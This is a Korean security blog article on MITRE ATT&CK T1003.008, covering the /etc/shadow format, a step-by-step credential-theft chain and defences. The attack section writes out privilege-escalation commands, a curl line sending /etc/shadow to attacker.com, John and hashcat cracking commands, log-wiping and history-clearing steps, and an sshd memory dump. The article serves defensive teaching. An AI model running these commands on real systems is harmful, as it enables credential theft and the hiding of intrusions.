/etc/shadow 크래킹: 다수의 APT 그룹이 노리는 Linux 비밀번호 해시 | T1003.008
Linux 시스템 96.3%가 사용하는 shadow 파일 보안 원리와 T1003.008 공격 기법을 분석합니다. SHA-512 해시부터 Yescrypt까지, 공격자가 오프라인 크래킹으로 계정을 탈취하는 과정과 방어 전략을 확인하세요.
Linux 시스템 96.3%가 사용하는 shadow 파일 보안 원리와 T1003.008 공격 기법을 분석합니다. SHA-512 해시부터 Yescrypt까지, 공격자가 오프라인 크래킹으로 계정을 탈취하는 과정과 방어 전략을 확인하세요.
Linux 시스템에서 사용자 계정 정보는 대부분의 Linux 서버에서 /etc/passwd와 /etc/shadow 파일 조합으로 관리된다. 이 두 파일은 1980년대 후반 Unix 보안 강화를 위해 도입된 Shadow Password Suite의 핵심 구성 요소다. 현재까지도 모든 Linux 배포판의 표준 인증 메커니즘이다.
하지만 이 파일들이 공격자에게 노출되면 전체 시스템의 사용자 계정이 위험에 처한다. MITRE ATT&CK 프레임워크의 T1003.008 기법은 바로 이 Linux 인증 파일들을 대상으로 하는 자격증명 탈취 공격을 다룹니다.
1970년대 초기 Unix 시스템은 모든 사용자 정보를 /etc/passwd 파일 하나에 저장했다. 문제는 이 파일이 모든 사용자에게 읽기 권한이 열려있어야 했다는 점이다. ls -l 명령으로 파일 소유자를 확인하거나, finger 명령으로 사용자 정보를 조회하려면 /etc/passwd를 읽을 수 있어야 했기 때문이다.
# 1970년대 /etc/passwd 파일 예시
root:x8Kqnbpk2MNbE:0:0:root:/root:/bin/sh
user1:aaNbpQzXm9k7s:1001:1001:John Doe:/home/user1:/bin/bash
위 예시에서 두 번째 필드(x8Kqnbpk2MNbE, aaNbpQzXm9k7s)가 바로 암호화된 비밀번호이다. 누구나 이 해시를 복사해서 오프라인에서 크래킹을 시도할 수 있었다.
1987년 Julie Haugh가 개발한 Shadow Password Suite는 이 문제를 해결하기 위해 비밀번호 정보를 별도 파일로 분리했다:
공격자는 Linux 시스템의 /etc/passwd 및 /etc/shadow 파일을 cat 명령과 같은 명령줄 유틸리티를 통해 읽거나 덤프하려고 시도할 수 있습니다. — MITRE ATT&CK T1003.008
이 기법은 다음과 같이 분류된다:
| 속성 | 값 |
|---|---|
| ID | T1003.008 |
| 상위 기법 | T1003 (OS Credential Dumping) |
| 전술 | Credential Access |
| 플랫폼 | Linux |
| 권한 요구사항 | 루트 또는 shadow 그룹 |
| 기법 | 설명 |
|---|---|
| T1003.008 | 대상 파일: /etc/passwd, /etc/shadow / 플랫폼: Linux / 권한 요구사항: 루트/shadow 그룹 |
| T1003.002 | 대상 파일: SAM 파일 / 플랫폼: Windows / 권한 요구사항: SYSTEM/관리자 |
| T1003.003 | 대상 파일: NTDS.dit / 플랫폼: Windows AD / 권한 요구사항: 도메인 관리자 |
| T1003.007 | 대상 파일: /proc 메모리 / 플랫폼: Linux / 권한 요구사항: 루트 |
/etc/passwd는 콜론(:)으로 구분된 7개 필드로 구성된다:
username:password:UID:GID:GECOS:home_directory:shell
# 현대 Linux 시스템의 /etc/passwd 예시
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu User:/home/ubuntu:/bin/bash
두 번째 필드의 x는 실제 비밀번호가 /etc/shadow에 저장되어 있음을 의미한다. 과거에는 여기에 직접 해시가 저장되었지만, 보안상 이유로 현재는 플레이스홀더만 남겨둡니다.
/etc/shadow는 9개 필드로 구성되며, 각각 특정한 보안 정책을 담당한다:
username:encrypted_password:last_changed:min_days:max_days:warn_days:inactive_days:expire_date:reserved
실제 예시를 살펴보겠다:
# /etc/shadow 파일 예시
root:$6$randomsalt$hash...:19658:0:99999:7:::
ubuntu:$6$anothersalt$hash...:19658:0:99999:7:30:19723:
testuser:!:19658:0:99999:7:::
lockeduser:*:19658:0:99999:7:::
각 필드의 의미:
| 필드 | 설명 | 예시 값 |
|---|---|---|
| username | 사용자명 | ubuntu |
| encrypted_password | 암호화된 비밀번호 | $6$salt$hash... |
| last_changed | 마지막 변경일 (1970/1/1 기준 일수) | 19658 |
| min_days | 최소 변경 간격 | 0 |
| max_days | 최대 유효 기간 | 99999 |
| warn_days | 만료 경고 일수 | 7 |
| inactive_days | 비활성화까지 일수 | 30 |
| expire_date | 계정 만료일 | 19723 |
비밀번호 해시는 $type$salt$hash 형식을 따릅니다:
$6$randomsalt12345$IxDD3jeSOb5eB1CX5LBsqZFVkJdido3OUILO5Ifz5iwMuTS4XMS130MTSuDDl3aCI6WouIL9AjRbLCelDCy.g.
| 부분 | 역할 | 예시 |
|---|---|---|
| $6$ | 해시 알고리즘 ID (SHA-512) | $6$ |
| randomsalt12345 | 솔트 값 | randomsalt12345 |
| IxDD3je... | 실제 해시 값 | IxDD3jeSOb5eB... |
해시 알고리즘 유형
| ID | 설명 |
|---|---|
| $1$ | 알고리즘: MD5 / 보안 수준: 매우 취약 / 사용 현황: 레거시 시스템 |
| $2a$ | 알고리즘: Blowfish / 보안 수준: 중간 / 사용 현황: 일부 BSD 시스템 |
| $5$ | 알고리즘: SHA-256 / 보안 수준: 양호 / 사용 현황: 구형 Linux |
| $6$ | 알고리즘: SHA-512 / 보안 수준: 우수 / 사용 현황: 대부분 Linux |
| $y$ | 알고리즘: Yescrypt / 보안 수준: 최우수 / 사용 현황: 최신 배포판 |
솔트는 동일한 비밀번호라도 서로 다른 해시를 생성하게 만듭니다:
# 동일한 비밀번호 "password123"이지만 다른 솔트로 인해 다른 해시
user1:$6$salt1abc$different_hash_value_1...:19658:0:99999:7:::
user2:$6$salt2def$different_hash_value_2...:19658:0:99999:7:::
이는 두 가지 공격을 방어한다:
공격자가 /etc/shadow 파일을 노리는 이유는 명확한다. 이 파일만 획득하면:
1단계: 초기 침투 및 권한 상승
공격자는 먼저 시스템에 접근할 수 있는 최소한의 권한을 획득한다:
# 웹 애플리케이션 취약점으로 www-data 권한 획득
$ whoami
www-data
# 권한 상승 취약점 탐색
$ find / -perm -4000 -type f 2>/dev/null | grep -v proc
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/su
2단계: 파일 접근 시도
# 직접 접근 시도 (권한 부족으로 실패)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
# 파일 권한 확인
$ ls -la /etc/shadow
-rw-r----- 1 root shadow 1234 Dec 15 10:30 /etc/shadow
3단계: 권한 우회 또는 상승
공격자는 다양한 방법으로 shadow 파일에 접근을 시도한다:
방법 1: SetUID 프로그램 악용
# passwd 명령의 SetUID 비트 확인
$ ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Dec 15 10:30 /usr/bin/passwd
# 취약한 SetUID 프로그램이 있다면 악용
$ ./vulnerable_setuid_program "cat /etc/shadow"
방법 2: 커널 취약점 익스플로잇
# 커널 버전 확인
$ uname -a
Linux server 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020
# 알려진 커널 취약점 익스플로잇 실행
$ ./dirty_cow_exploit
# 권한 상승 성공 후
$ cat /etc/shadow > /tmp/shadow_dump.txt
방법 3: 백업 파일 탐색
# 시스템 백업에서 shadow 파일 찾기
$ find /var/backups -name "*shadow*" 2>/dev/null
/var/backups/shadow.bak
$ cat /var/backups/shadow.bak
root:$6$randomsalt$hash...:19658:0:99999:7:::
4단계: 파일 추출 및 분석
# shadow 파일 내용을 공격자 서버로 전송
$ cat /etc/shadow | base64 | curl -d @- http://attacker.com/collect
# 또는 로컬에서 분석을 위해 저장
$ cp /etc/shadow /tmp/.hidden_shadow
$ cp /etc/passwd /tmp/.hidden_passwd
John the Ripper를 이용한 크래킹
# passwd와 shadow 파일 결합
$ unshadow /tmp/passwd_copy /tmp/shadow_copy > combined.txt
# 딕셔너리 공격 실행
$ john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt
# 무차별 대입 공격
$ john --incremental combined.txt
# 크래킹 결과 확인
$ john --show combined.txt
ubuntu:password123:1000:1000:Ubuntu User:/home/ubuntu:/bin/bash
testuser:qwerty:1001:1001:Test User:/home/testuser:/bin/bash
Hashcat을 이용한 GPU 가속 크래킹
# SHA-512 해시 크래킹 (mode 1800)
$ hashcat -m 1800 -a 0 shadow_hashes.txt rockyou.txt
# 마스크 공격 (8자리 숫자+문자 조합)
$ hashcat -m 1800 -a 3 shadow_hashes.txt ?a?a?a?a?a?a?a?a
파일 접근 흔적 제거
# 접근 로그 삭제
$ echo "" > /var/log/auth.log
$ echo "" > /var/log/syslog
# 파일 접근 시간 복원
$ touch -r /etc/passwd /etc/shadow
# 히스토리 삭제
$ history -c
$ export HISTSIZE=0
메모리 덤프를 통한 우회
# /proc 파일시스템을 통한 메모리 접근
$ strings /proc/kcore | grep -A5 -B5 "\$6\$"
# 프로세스 메모리에서 인증 정보 추출
$ gdb -p $(pidof sshd)
(gdb) dump memory /tmp/sshd_memory.dump 0x400000 0x500000
파일 권한 점검
# shadow 파일 권한 확인 (640이 권장)
$ ls -la /etc/shadow
-rw-r----- 1 root shadow 1234 Dec 15 10:30 /etc/shadow
# 잘못된 권한 수정
$ chmod 640 /etc/shadow
$ chown root:shadow /etc/shadow
shadow 그룹 멤버 최소화
# shadow 그룹 멤버 확인
$ getent group shadow
shadow:x:42:
# 불필요한 사용자 제거
$ gpasswd -d suspicious_user shadow
Yescrypt 해시 알고리즘 적용
# /etc/login.defs 설정
ENCRYPT_METHOD YESCRYPT
# 기존 사용자 해시 업그레이드
$ passwd username # 새 비밀번호 설정 시 자동 적용
PAM 설정을 통한 복잡도 강화
# /etc/pam.d/common-password 설정
password requisite pam_pwquality.so retry=3 minlen=12 dcredit=-1 ucredit=-1 ocredit=-1 lcredit=-1
auditd를 통한 파일 접근 감시
# shadow 파일 접근 감시 규칙 추가
$ auditctl -w /etc/shadow -p r -k shadow_access
$ auditctl -w /etc/passwd -p wa -k passwd_changes
# 감시 로그 확인
$ ausearch -k shadow_access
파일 무결성 검증
# AIDE 설정으로 파일 변경 탐지
$ aide --init
$ aide --check
# Tripwire 대안으로 inotify 사용
$ inotifywait -m -e access,modify /etc/shadow
계정 잠금 정책
# pam_tally2를 통한 로그인 실패 제한
# /etc/pam.d/common-auth에 추가
auth required pam_tally2.so onerr=fail audit silent deny=5 unlock_time=900
2단계 인증 적용
# Google Authenticator PAM 모듈 설치
$ apt install libpam-google-authenticator
# SSH에 2FA 적용
# /etc/pam.d/sshd에 추가
auth required pam_google_authenticator.so
이 글에서 다룬 T1003.008 기법은 Linux 시스템 보안의 핵심인 사용자 인증 메커니즘을 직접 공격하는 위험한 기법이다. 자격증명 덤핑: 다수의 APT 그룹 그룹의 비밀번호 탈취 경로에서 다룬 다른 플랫폼 공격과 함께 이해하면, 전체적인 자격증명 탈취 공격의 맥락을 파악할 수 있다.
다음에는 T1003.007 (Proc Filesystem)에서 다루는 Linux 메모리 기반 자격증명 탈취 기법을 알아보겠다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.